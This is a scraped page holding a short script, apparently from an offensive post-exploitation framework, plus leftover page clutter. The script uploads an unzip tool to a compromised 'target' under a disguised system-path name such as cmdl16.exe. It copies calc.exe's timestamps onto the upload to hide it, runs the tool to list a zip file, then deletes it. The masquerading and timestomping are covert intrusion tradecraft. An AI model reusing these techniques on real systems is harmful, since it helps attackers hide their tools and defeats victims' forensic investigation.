49 lines
1.3 KiB
PostScript
49 lines
1.3 KiB
PostScript
#-------------------------------------------------------------------------------
|
|
# File: unzip.eps
|
|
# Description: Uploads the unzip.exe tool to the target.
|
|
# It then executes it with -l to list contents of a zip file.
|
|
# It will then delete the uploaded file.
|
|
# 1 January 2008 Created....
|
|
#
|
|
#-------------------------------------------------------------------------------
|
|
|
|
if ($argc != 2) {
|
|
echo "Usage: $argv[0] <zip file to list>";
|
|
return false;
|
|
}
|
|
|
|
string $zipfile = $argv[1];
|
|
|
|
string $ScriptsDir = GetEnv("SCRIPTSDIR");
|
|
string $sSysPath = GetEnv("SYSPATH");
|
|
string $remoteToolName = GetEnv("remoteToolName");
|
|
|
|
|
|
if ($remoteToolName == "") {
|
|
$remoteToolName="$sSysPath\\cmdl16.exe";
|
|
}
|
|
|
|
ifnot (prompt "Do you want to upload and run the tool as \"$remoteToolName\" ?") {
|
|
$remoteToolName=GetInput("What do you want to upload the tool as?");
|
|
}
|
|
|
|
SetEnv("remoteToolName", "$remoteToolName");
|
|
|
|
string $split = SplitPath("$remoteToolName");
|
|
|
|
@echo on;
|
|
|
|
|
|
ifnot (`put $ScriptsDir\\..\\..\\..\\B-Tools\\unzip.exe -name $remoteToolName`) {
|
|
echo "File already exists?";
|
|
return false;
|
|
}
|
|
`matchtimes $sSysPath\\calc.exe $remoteToolName`;
|
|
`run -command "$remoteToolName -l $zipfile" -redirect unzip`;
|
|
|
|
if (prompt `del $split[1] -path "$split[0]"`){
|
|
sleep(300);
|
|
`dir $split[1] -path "$split[0]"`;
|
|
}
|
|
|
|
return true;
|